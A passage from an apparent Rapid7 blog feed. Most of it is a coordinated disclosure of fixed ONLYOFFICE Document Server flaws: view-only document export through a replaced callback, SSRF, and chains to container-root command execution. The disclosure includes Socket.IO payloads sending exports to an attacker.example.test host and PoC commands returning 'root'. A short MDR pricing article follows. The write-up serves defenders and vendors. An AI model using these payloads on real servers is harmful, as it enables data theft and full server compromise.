undefined;'>commandSfcCallback()</span></a><span style='font-size: undefined;'> then sends the reconstructed document to the viewer's replacement callback</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>The callback request also bypasses the normal private-address filter under the tested defaults. </span><a href="https://github.com/ONLYOFFICE/server/blob/v9.4.0.129/DocService/sources/DocsCoServer.js#L796-L826"><span style='font-size: undefined;'>sendServerRequest()</span></a><span style='font-size: undefined;'> marks the URL as JWT-trusted whenever Inbox JWT validation is enabled, even though the replacement URL was not signed. The </span><a href="https://github.com/ONLYOFFICE/server/blob/v9.4.0.129/Common/sources/utils.js#L268-L301"><span style='font-size: undefined;'>HTTP request helper</span></a><span style='font-size: undefined;'> consequently permits a direct request without the private-address filter.</span></p><h3 style="direction: ltr;"><span style='color:rgb(67, 67, 67);'>Exploitation</span></h3><figure style="margin: 0"><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt54653772c34c56a0/6af90a7393c20acec231c697/oo_disc_1.png" class="embedded-asset" content-type-uid="sys_assets" type="asset" alt="oo_disc_1.png" asset-alt="oo_disc_1.png" style="width: auto" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt54653772c34c56a0/6af90a7393c20acec231c697/oo_disc_1.png" data-sys-asset-uid="blt54653772c34c56a0" data-sys-asset-filename="oo_disc_1.png" data-sys-asset-contenttype="image/png" data-sys-asset-alt="oo_disc_1.png" sys-style-type="display"/></figure><p style="direction: ltr;text-align: center;"><span style='font-size: undefined;'><em>Figure 1: View-only document export through a replaced callback.</em></span></p><h4 style="direction: ltr;"><span style='color:rgb(102, 102, 102);'>Obtaining a session JWT</span></h4><p style="direction: ltr;"><span style='font-size: undefined;'>The attacker opens the target DOCX normally with their view-only Editor JWT. The relevant fields in the Socket.IO authentication message retain </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>mode=view</span></span><span style='font-size: undefined;'> and </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>download=false</span></span><span style='font-size: undefined;'>:</span></p><pre language="json">{
  "type": "auth",
  "docid": "TARGET_DOCUMENT_KEY",
  "documentCallbackUrl": "SIGNED_INTEGRATOR_CALLBACK",
  "mode": "view",
  "permissions": {
    "download": false
  },
  "jwtOpen": "VIEW_ONLY_EDITOR_JWT",
  "jwtSession": null
}</pre><p></p><p style="direction: ltr;"><span style='font-size: undefined;'>DocumentServer accepts the view-only connection and returns a server-issued Session JWT in its </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>auth</span></span><span style='font-size: undefined;'> message.</span></p><h4 style="direction: ltr;"><span style='color:rgb(102, 102, 102);'>Replacing the callback</span></h4><p style="direction: ltr;"><span style='font-size: undefined;'>The attacker opens a second Socket.IO connection and authenticates with that Session JWT, but substitutes their own URL for </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>documentCallbackUrl</span></span><span style='font-size: undefined;'>. The relevant changed fields are:</span></p><pre language="json">{
  "type": "auth",
  "docid": "TARGET_DOCUMENT_KEY",
  "documentCallbackUrl": "https://attacker.example.test/operator-callback",
  "mode": "view",
  "jwtOpen": null,
  "jwtSession": "SERVER_SESSION_JWT"
}</pre><p></p><p style="direction: ltr;"><span style='font-size: undefined;'>The session remains view-only, but DocumentServer stores the attacker's callback because the Session JWT does not bind the original callback URL. The attacker controls its host, port, path and query string.</span></p><h4 style="direction: ltr;"><span style='color:rgb(102, 102, 102);'>Forcing document export</span></h4><p style="direction: ltr;"><span style='font-size: undefined;'>Over the reconnected socket, the attacker invokes </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>sendForm</span></span><span style='font-size: undefined;'> directly:</span></p><pre language="json">{
  "type": "rpc",
  "responseKey": "ATTACKER_RESPONSE_KEY",
  "data": {
    "type": "sendForm",
    "formdata": {
      "formsdata": []
    }
  }
}</pre><p></p><p style="direction: ltr;"><span style='font-size: undefined;'>The server returns RPC code </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>0</span></span><span style='font-size: undefined;'>, reconstructs a DOCX, and sends a status </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>6</span></span><span style='font-size: undefined;'> callback containing its download URL to the attacker:</span></p><pre language="json">{
  "key": "TARGET_DOCUMENT_KEY",
  "status": 6,
  "url": "DOCUMENTSERVER_OUTPUT_URL"
}</pre><p></p><p style="direction: ltr;"><span style='font-size: undefined;'>The attacker downloads that URL. Rapid7 demonstrated the attack with </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>edit</span></span><span style='font-size: undefined;'>, </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>download</span></span><span style='font-size: undefined;'>, </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>print</span></span><span style='font-size: undefined;'>, </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>review</span></span><span style='font-size: undefined;'>, </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>comment</span></span><span style='font-size: undefined;'>, </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>fillForms</span></span><span style='font-size: undefined;'>, </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>copy</span></span><span style='font-size: undefined;'>, and </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>chat</span></span><span style='font-size: undefined;'> set to </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>false</span></span><span style='font-size: undefined;'>. The exported DOCX retained content that the viewer had not displayed:</span></p><table><colgroup data-width='500'><col style="width:32.532051282051285%"/><col style="width:67.46794871794873%"/></colgroup><thead><tr><th><p style="direction: ltr;"><span style='font-size: undefined;'><strong>DOCX part</strong></span></p></th><th><p style="direction: ltr;"><span style='font-size: undefined;'><strong>Content available to the attacker</strong></span></p></th></tr></thead><tbody><tr><td><p style="direction: ltr;"><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>customXml/item1.xml</span></span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>Custom XML stored alongside the document body</span></p></td></tr><tr><td><p style="direction: ltr;"><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>docProps/custom.xml</span></span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>Custom document-property values</span></p></td></tr><tr><td><p style="direction: ltr;"><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>word/document.xml</span></span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>A field's instruction text (</span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>w:instrText</span></span><span style='font-size: undefined;'>), separate from its displayed result</span></p></td></tr></tbody></table><p></p><p style="direction: ltr;"><span style='font-size: undefined;'>DocumentServer regenerates the DOCX during export.</span></p><figure style="margin: 0"><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/bltd015ed95740fd55e/6af90af4dee41fe6f00b7a50/oo_disc_2.png" class="embedded-asset" content-type-uid="sys_assets" type="asset" alt="oo_disc_2.png" asset-alt="oo_disc_2.png" style="width: auto" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/bltd015ed95740fd55e/6af90af4dee41fe6f00b7a50/oo_disc_2.png" data-sys-asset-uid="bltd015ed95740fd55e" data-sys-asset-filename="oo_disc_2.png" data-sys-asset-contenttype="image/png" data-sys-asset-alt="oo_disc_2.png" sys-style-type="display"/></figure><p style="text-align: center;"><span style='font-size: undefined;'><em>Figure 2: Restricted document view.</em></span></p><p><span style='font-size: undefined;'><em></em></span></p><figure style="margin: 0"><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/bltbc9318cc4cd70535/6af90b510408f44d020ae064/oo_disc_3.png" class="embedded-asset" content-type-uid="sys_assets" type="asset" alt="oo_disc_3.png" asset-alt="oo_disc_3.png" style="width: auto" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/bltbc9318cc4cd70535/6af90b510408f44d020ae064/oo_disc_3.png" data-sys-asset-uid="bltbc9318cc4cd70535" data-sys-asset-filename="oo_disc_3.png" data-sys-asset-contenttype="image/png" data-sys-asset-alt="oo_disc_3.png" sys-style-type="display"/></figure><p style="text-align: center;"><span style='font-size: undefined;'><em>Figure 3: Hidden data exposed by the export.</em></span></p><p></p><h4 style="direction: ltr;"><span style='color:rgb(102, 102, 102);'>PoC</span></h4><p style="direction: ltr;"><span style='font-size: undefined;'>The </span><a href="https://github.com/jburgess-r7/onlyoffice-2026-pocs/blob/main/pocs/viewer_sendform_download_bypass.py"><span style='font-size: undefined;'>viewer-export PoC</span></a><span style='font-size: undefined;'> opens the document, replaces the callback and downloads the export. This example uses an HTTPS reverse proxy that terminates TLS on port 443 and forwards the </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>/operator-callback/</span></span><span style='font-size: undefined;'> subtree to the PoC's HTTP listener on port 18085, preserving the generated per-run path suffix.</span></p><pre language="shell-session">python3 pocs/viewer_sendform_download_bypass.py \
  --documentserver https://docs.example.test \
  --token-file /secure/restrictive-view.jwt \
  --callback-url https://attacker.example.test/operator-callback \
  --listen-port 18085 \
  --output reconstructed.docx</pre><p></p><p style="direction: ltr;"><span style='font-size: undefined;'>Output:</span></p><pre language="html">[*] opening document with the view-only token
[+] view-only session established; server session JWT received
[*] reconnecting with the attacker callback
[+] replacement callback accepted for the view-only session
[*] invoking rpc/sendForm
[+] attacker callback received status 6
[+] saved 27306 bytes to reconstructed.docx
[+] view-only document export reproduced</pre><h3 style="direction: ltr;"><span style='color:rgb(67, 67, 67);'>Impact</span></h3><p style="direction: ltr;"><span style='font-size: undefined;'>A user denied download can recover a reconstructed DOCX retaining data that the viewer never displayed, potentially including confidential metadata and OOXML content. This scores </span><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N"><span style='font-size: undefined;'><strong>6.5 Medium</strong></span></a><span style='font-size: undefined;'>.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>Callback replacement also enables blind HTTP POST SSRF. Rapid7 confirmed delivery to a controlled RFC1918 destination. The source also permits loopback destinations under these defaults; in Docker, </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>localhost</span></span><span style='font-size: undefined;'> refers to the DocumentServer container. DocumentServer sends its JSON status callback, and the viewer cannot read the target's response body.</span></p><h3 style="direction: ltr;"><span style='color:rgb(67, 67, 67);'>Fix</span></h3><p style="direction: ltr;"><span style='font-size: undefined;'>The </span><a href="https://github.com/ONLYOFFICE/server/blob/v10.0.0.169/DocService/sources/DocsCoServer.js#L1409-L1439"><span style='font-size: undefined;'>10.0.0-169 sendForm branch</span></a><span style='font-size: undefined;'> checks the user's role before starting the force-save:</span></p><pre language="diff">-if (conn.user) {
+if (canStartForceSave(conn)) {</pre><p></p><p style="direction: ltr;"><a href="https://github.com/ONLYOFFICE/server/blob/v10.0.0.169/DocService/sources/DocsCoServer.js#L616-L623"><span style='font-size: undefined;'>canStartForceSave()</span></a><span style='font-size: undefined;'> requires an existing user whose </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>view</span></span><span style='font-size: undefined;'> flag is false. On a Session JWT reconnect, the </span><a href="https://github.com/ONLYOFFICE/server/blob/v10.0.0.169/DocService/sources/DocsCoServer.js#L3012-L3017"><span style='font-size: undefined;'>authentication flow</span></a><span style='font-size: undefined;'> also retrieves the stored callback for the user index instead of accepting the reconnecting client's callback value.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>In the 10.0.0-169 check, the view-only session opened, but </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>sendForm</span></span><span style='font-size: undefined;'> was rejected and no exported file was saved.</span></p><h2 style="direction: ltr;">Exploit chains</h2><p style="direction: ltr;"><span style='font-size: undefined;'>Two routes to container root share the DocBuilder authorization failure and root helper; their file-write stages differ. Both the </span><a href="https://docs.google.com/document/d/1m7Osqdx-sHebh6E-doeM0Ph5lfUCtGyGtqcPtuGkLa8/edit?tab=t.0#heading=h.g3gkj5d1rkfu"><span style='font-size: undefined;'>direct DocBuilder chain</span></a><span style='font-size: undefined;'> and the </span><a href="https://docs.google.com/document/d/1m7Osqdx-sHebh6E-doeM0Ph5lfUCtGyGtqcPtuGkLa8/edit?tab=t.0#heading=h.a4kln142eumw"><span style='font-size: undefined;'>file-read and traversal chain</span></a><span style='font-size: undefined;'> were demonstrated with a view-only Editor JWT and through the conditional WOPI entry below.</span></p><figure style="margin: 0"><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt43ae6e8c812289b0/6af90c67b16cac569bf6c33c/oo_disc_4.png" class="embedded-asset" content-type-uid="sys_assets" type="asset" alt="oo_disc_4.png" asset-alt="oo_disc_4.png" style="width: auto" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt43ae6e8c812289b0/6af90c67b16cac569bf6c33c/oo_disc_4.png" data-sys-asset-uid="blt43ae6e8c812289b0" data-sys-asset-filename="oo_disc_4.png" data-sys-asset-contenttype="image/png" data-sys-asset-alt="oo_disc_4.png" sys-style-type="display"/></figure><p><span style='font-size: undefined;'><em></em></span></p><p style="direction: ltr;text-align: center;"><span style='font-size: undefined;'><em>Figure 4: Two file-write routes converge on command execution as </em></span><span style='color:rgb(24, 128, 56);font-size: undefined;'><em>ds</em></span><span style='font-size: undefined;'><em> and container root.</em></span></p><p></p><h3 style="direction: ltr;"><span style='color:rgb(67, 67, 67);'>Unauthenticated WOPI entry</span></h3><p style="direction: ltr;"><a href="https://api.onlyoffice.com/docs/docs-api/using-wopi/overview/"><span style='font-size: undefined;'>WOPI (Web Application Open Platform Interface)</span></a><span style='font-size: undefined;'> is a protocol for opening files from external storage in an online editor. WOPI must be enabled, which is not the default. DocumentServer must be able to reach the attacker-controlled source, and its address must pass the configured WOPI IP filter.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>The attacker submits a </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>WOPISrc</span></span><span style='font-size: undefined;'> ending in </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>/</span></span><span style='font-size: undefined;'> and an empty access token to the public launch endpoint. The launch logic in </span><a href="https://github.com/ONLYOFFICE/server/blob/v9.4.0.129/DocService/sources/wopiClient.js#L705-L775"><span style='font-size: undefined;'>wopiClient.js</span></a><span style='font-size: undefined;'> contacts that source for editable document metadata and signs a Browser JWT:</span></p><pre language="javascript">const access_token = req.body['access_token'] || ''; // [0] Empty token default

// WOPI metadata is requested from the attacker-controlled source.

const secret = yield tenantManager.getTenantSecret(ctx, commonDefines.c_oAscSecretType.Browser);
params.token = jwt.sign(params, utils.getJwtHsKey(secret), options); // [1] Sign Browser JWT</pre><p></p><p style="direction: ltr;"><span style='font-size: undefined;'>With an empty access token at </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>[0]</span></span><span style='font-size: undefined;'>, DocumentServer trusts the returned metadata and issues a signed Browser JWT at </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>[1]</span></span><span style='font-size: undefined;'>. The token's document key comes from </span><a href="https://github.com/ONLYOFFICE/server/blob/v9.4.0.129/DocService/sources/wopiClient.js#L599-L615"><span style='font-size: undefined;'>createDocId()</span></a><span style='font-size: undefined;'>, which takes the final URL segment:</span></p><pre language="javascript">const fileId = wopiSrc.substring(wopiSrc.lastIndexOf('/') + 1); // [2] URL file identifier
let docId = undefined;
if ('view' !== mode) {
  docId = `${fileId}`; // [3] Editable document key
}</pre><p></p><p style="direction: ltr;"><span style='font-size: undefined;'>The trailing slash makes </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>fileId</span></span><span style='font-size: undefined;'> at </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>[2]</span></span><span style='font-size: undefined;'> empty, which becomes the signed document key at </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>[3]</span></span><span style='font-size: undefined;'>. Because Browser and Inbox tokens use the same signing key, </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>/docbuilder</span></span><span style='font-size: undefined;'> accepts this WOPI Browser JWT as authorization. The empty key also selects the new-job branch in </span><a href="https://github.com/ONLYOFFICE/server/blob/v9.4.0.129/DocService/sources/converterservice.js#L467-L501"><span style='font-size: undefined;'>builderRequest()</span></a><span style='font-size: undefined;'>:</span></p><pre language="javascript">let docId = params.key;
// ... request setup omitted ...
const needCreateId = !docId; // [4] Empty-key job creation
// ... request validation omitted ...
if (needCreateId) {
  const task = yield* taskResult.addRandomKeyTask(ctx, undefined, 'bld_', 8); // [5] Allocate job key
  docId = task.key;
  // ... context setup omitted ...
}
// ... script body stored under the new job key ...
if (needCreateId) {
  // ... queue-data setup omitted ...
  yield* docsCoServer.addTask(queueData, constants.QUEUE_PRIORITY_LOW); // [6] Queue DocBuilder script
}</pre><p></p><p style="direction: ltr;"><span style='font-size: undefined;'>The empty key enables job creation at </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>[4]</span></span><span style='font-size: undefined;'>; </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>[5]</span></span><span style='font-size: undefined;'> allocates a fresh key and </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>[6]</span></span><span style='font-size: undefined;'> queues the posted script for execution. This provides an unauthenticated entry into the DocBuilder findings.</span></p><h3 style="direction: ltr;"><span style='color:rgb(67, 67, 67);'>DocBuilder chain</span></h3><ol><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'><strong>Authorization:</strong></span><span style='font-size: undefined;'> The </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>/docbuilder</span></span><span style='font-size: undefined;'> authorization failure documented in </span><a href="https://docs.google.com/document/d/1m7Osqdx-sHebh6E-doeM0Ph5lfUCtGyGtqcPtuGkLa8/edit?tab=t.0#heading=h.akeybkgzmmyx"><span style='font-size: undefined;'>Editor JWT Authorizes Native File Reads and Session JWT Forgery</span></a><span style='font-size: undefined;'> accepts the view-only Editor JWT instead of requiring a DocBuilder-specific token.</span></p></li><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'><strong>Code execution:</strong></span><span style='font-size: undefined;'> </span><a href="https://docs.google.com/document/d/1m7Osqdx-sHebh6E-doeM0Ph5lfUCtGyGtqcPtuGkLa8/edit?tab=t.0#heading=h.mf656sgdcd0s"><span style='font-size: undefined;'>DocBuilder Conversion Parameter Injection Enables Code Execution</span></a><span style='font-size: undefined;'> makes X2T extract an attacker appender, command script, and runtime configuration outside the job directory. DocService loads the appender as </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>ds</span></span><span style='font-size: undefined;'>.</span></p></li><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'><strong>Root execution:</strong></span><span style='font-size: undefined;'> The appender invokes </span><a href="https://docs.google.com/document/d/1m7Osqdx-sHebh6E-doeM0Ph5lfUCtGyGtqcPtuGkLa8/edit?tab=t.0#heading=h.vbotkx1odgru"><span style='font-size: undefined;'>Passwordless Maintenance Command Elevates ds to Root</span></a><span style='font-size: undefined;'>, and the passwordless helper executes the supplied command as </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>root</span></span><span style='font-size: undefined;'>.</span></p></li></ol><p style="direction: ltr;"><span style='font-size: undefined;'>The </span><a href="https://github.com/jburgess-r7/onlyoffice-2026-pocs/blob/main/pocs/docbuilder_savefile_params_rce.py"><span style='font-size: undefined;'>DocBuilder PoC</span></a><span style='font-size: undefined;'> runs this chain with a view-only Editor JWT:</span></p><pre language="shell-session">python3 pocs/docbuilder_savefile_params_rce.py \
  --documentserver https://docs.example.test \
  --token-file /secure/view-only.jwt \
  --root \
  --command whoami \
  --runtime-absent</pre><p></p><p style="direction: ltr;"><span style='font-size: undefined;'>Output:</span></p><pre language="html">root</pre><p></p><p style="direction: ltr;"><span style='font-size: undefined;'>One malicious </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>/docbuilder</span></span><span style='font-size: undefined;'> request triggers container-root execution. The PoC then makes additional </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>/docbuilder</span></span><span style='font-size: undefined;'> requests to retrieve the command output.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>The direct SaveFile route also executed a command as </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>root</span></span><span style='font-size: undefined;'> using a WOPI-issued Browser JWT, under the enablement, filter and reachability conditions above.</span></p><h3 style="direction: ltr;"><span style='color:rgb(67, 67, 67);'>File-read and traversal chain</span></h3><p style="direction: ltr;"><span style='font-size: undefined;'>This path adds token forgery and a separate file-write stage:</span></p><ol><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'><strong>File read and token forgery:</strong></span><span style='font-size: undefined;'> </span><a href="https://docs.google.com/document/d/1m7Osqdx-sHebh6E-doeM0Ph5lfUCtGyGtqcPtuGkLa8/edit?tab=t.0#heading=h.akeybkgzmmyx"><span style='font-size: undefined;'>Editor JWT Authorizes Native File Reads and Session JWT Forgery</span></a><span style='font-size: undefined;'> uses the accepted editor or WOPI Browser JWT to read the session signing key and forge a save JWT.</span></p></li><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'><strong>Code execution:</strong></span><span style='font-size: undefined;'> </span><a href="https://docs.google.com/document/d/1m7Osqdx-sHebh6E-doeM0Ph5lfUCtGyGtqcPtuGkLa8/edit?tab=t.0#heading=h.2plfqvpw2hza"><span style='font-size: undefined;'>Complete-Save Format Traversal Enables Arbitrary File Write</span></a><span style='font-size: undefined;'> uses that credential to install the appender, command script, and runtime configuration. DocService loads the appender as </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>ds</span></span><span style='font-size: undefined;'>.</span></p></li><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'><strong>Root execution:</strong></span><span style='font-size: undefined;'> The appender invokes </span><a href="https://docs.google.com/document/d/1m7Osqdx-sHebh6E-doeM0Ph5lfUCtGyGtqcPtuGkLa8/edit?tab=t.0#heading=h.vbotkx1odgru"><span style='font-size: undefined;'>Passwordless Maintenance Command Elevates ds to Root</span></a><span style='font-size: undefined;'>, which executes the supplied command as </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>root</span></span><span style='font-size: undefined;'>.</span></p></li></ol><p style="direction: ltr;"><span style='font-size: undefined;'>The Editor-token PoC's </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>--command</span></span><span style='font-size: undefined;'> mode installs the three execution files and invokes the root helper. It completed this chain from view-only access, returning </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>uid=0(root)</span></span><span style='font-size: undefined;'>.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>The </span><a href="https://github.com/jburgess-r7/onlyoffice-2026-pocs/blob/main/pocs/wopi_docbuilder_jwt_forgery.py"><span style='font-size: undefined;'>WOPI PoC</span></a><span style='font-size: undefined;'> performs this chain without a pre-existing JWT. It writes </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>runtime.json</span></span><span style='font-size: undefined;'> last to trigger loading after the appender and command script are in place:</span></p><pre language="shell-session">python3 pocs/wopi_docbuilder_jwt_forgery.py \
  --documentserver https://docs.example.test \
  --public-wopi-src http://attacker.example.test:18084/document/ \
  --command whoami \
  --runtime-absent</pre><p></p><p style="direction: ltr;"><span style='font-size: undefined;'>Output:</span></p><pre language="html">root</pre><p></p><p style="direction: ltr;"><span style='font-size: undefined;'>Under the WOPI conditions above, this chain requires no pre-existing DocumentServer account or token.</span></p><h2 style="direction: ltr;">Remediation</h2><p style="direction: ltr;"><span style='font-size: undefined;'>Upgrade ONLYOFFICE Document Server to the latest supported release, version 10.0 or later. ONLYOFFICE confirmed that version 10.0 addresses all five findings. See the </span><a href="https://github.com/ONLYOFFICE/DocumentServer/blob/v10.0.0/CHANGELOG.md#security"><span style='font-size: undefined;'>10.0.0 security release notes</span></a><span style='font-size: undefined;'> and the vendor's </span><a href="https://helpcenter.onlyoffice.com/docs/installation/community/docker/update"><span style='font-size: undefined;'>Community Edition Docker update instructions</span></a><span style='font-size: undefined;'>.</span></p><h2 style="direction: ltr;">Disclosure timeline</h2><ul><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'><strong>August 28, 2026:</strong></span><span style='font-size: undefined;'> Rapid7 contacted ONLYOFFICE to report the five vulnerabilities under its coordinated disclosure policy.</span></p></li><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'><strong>September 15–17, 2026:</strong></span><span style='font-size: undefined;'> ONLYOFFICE acknowledged review of the reports and requested additional time to address the findings in an upcoming release.</span></p></li><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'><strong>October 23, 2026:</strong></span><span style='font-size: undefined;'> ONLYOFFICE confirmed that all five findings were fixed in Document Server 10.0. Rapid7 and ONLYOFFICE agreed on November 16 for public disclosure, allowing users time to update.</span></p></li><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'><strong>November 16, 2026:</strong></span><span style='font-size: undefined;'> Rapid7 publishes this analysis and the </span><a href="https://github.com/jburgess-r7/onlyoffice-2026-pocs"><span style='font-size: undefined;'>accompanying PoCs</span></a><span style='font-size: undefined;'>.</span></p></li></ul>]]></description>
      <link>https://www.rapid7.com/blog/post/ve-from-view-only-access-to-container-root-five-vulnerabilities-in-onlyoffice-docs-fixed</link>
      <guid isPermaLink="false">blt012b371b1ad98f80</guid>
      <category><![CDATA[Rapid7 Intelligence]]></category>
      <category><![CDATA[Vulnerability Disclosure]]></category>
      <category><![CDATA[Rapid7 Disclosure]]></category><dc:creator><![CDATA[Jonah Burgess]]></dc:creator>
      <pubDate>Mon, 16 Nov 2026 16:24:38 GMT</pubDate><media:content url="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/bltbd9a93a704987023/69ca49e33a2be22fa16ee2f6/rapid7-logo.png" medium="image" />
    </item>
    <item>
      <title><![CDATA[MDR Pricing: Comparing Asset-Based and Ingestion-Based Costs]]></title>
      <description><![CDATA[<p style="direction: ltr;"><span style='font-size: undefined;'>When comparing </span><a href="/fundamentals/what-is-managed-detection-and-response-mdr/" target="_self"><span style='font-size: undefined;'>MDR</span></a><span style='font-size: undefined;'> pricing, it helps to understand what the same annual budget would buy from each provider. Two proposals with similar prices may give analysts access to different evidence, retain it for different periods, or leave your team with different responsibilities. Those differences can affect what happens when you need to investigate a compromised account or trace an attacker’s low-and-slow activity across your environment.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>For security leaders weighing asset-based against ingestion-based pricing, a useful comparison starts with the systems you need to protect and the logs required to investigate threats. Giving providers the same requirements and budget helps expose the decisions behind each quote, including what you would need to exclude or pay more to include.</span></p><h2 style="direction: ltr;">Asset-based vs. ingestion-based MDR pricing</h2><p style="direction: ltr;"><span style='font-size: undefined;'>Under asset-based pricing, the charge is tied to a defined population of assets. You need to establish how the provider counts workstations, servers, cloud resources, and other systems, alongside which data sources and service capabilities the price includes. A predictable asset count can help with budgeting, but the proposal still needs to explain any integration limits or additional service charges. At Rapid7, an asset is defined as any physical or virtual endpoint or server running a supported operating system within the monitored environment.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>With ingestion-based pricing, some of the cost depends on the volume of data collected or processed. The comparison needs to account for the included allowance, how billable volume is measured, and what happens when usage increases. Retention, search, and supporting infrastructure may also contribute to the overall cost, depending on the commercial model. At Rapid7, MDR customers have access to 13 months hot storage of logs as standard.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>Whichever approach you are evaluating, include the technology, analysts, and response support needed to deliver the service. A SIEM ingestion charge on its own cannot be compared directly with an MDR subscription that includes investigation and response. Both proposals need to account for the work your organization expects the provider to perform - this clarity is key to a successful partnership.</span></p><h2 style="direction: ltr;">How to make a like-for-like MDR pricing comparison</h2><p style="direction: ltr;"><span style='font-size: undefined;'>Give each provider the same asset inventory, required data sources, retention needs, and response expectations, then ask what fits within your annual budget. Any exclusions should be visible in the proposal, so you can judge their operational consequences before committing.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>For example, one proposal might accommodate endpoint and identity data while requiring you to limit high-volume network sources. Another might accommodate those sources but lack an investigation capability your team needs. Looking at an MDR price per endpoint or per gigabyte will not resolve that difference; you need to see how the service uses the available data.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>Use these questions during an initial demonstration to turn the pricing discussion into a practical comparison.</span></p><p></p><table><colgroup data-width='1558.0641025641025'><col style="width:10.594179167112378%"/><col style="width:21.372676480510826%"/><col style="width:32.09110582659283%"/><col style="width:35.94203852578397%"/></colgroup><tbody><tr><td><p style="text-align: center;direction: ltr;"><span style='font-size: undefined;'><strong>Comparison area</strong></span></p></td><td><p style="text-align: center;direction: ltr;"><span style='font-size: undefined;'><strong>What to ask the provider</strong></span></p></td><td><p style="text-align: center;direction: ltr;"><span style='font-size: undefined;'><strong>Evidence to request</strong></span></p></td><td><p style="text-align: center;direction: ltr;"><span style='font-size: 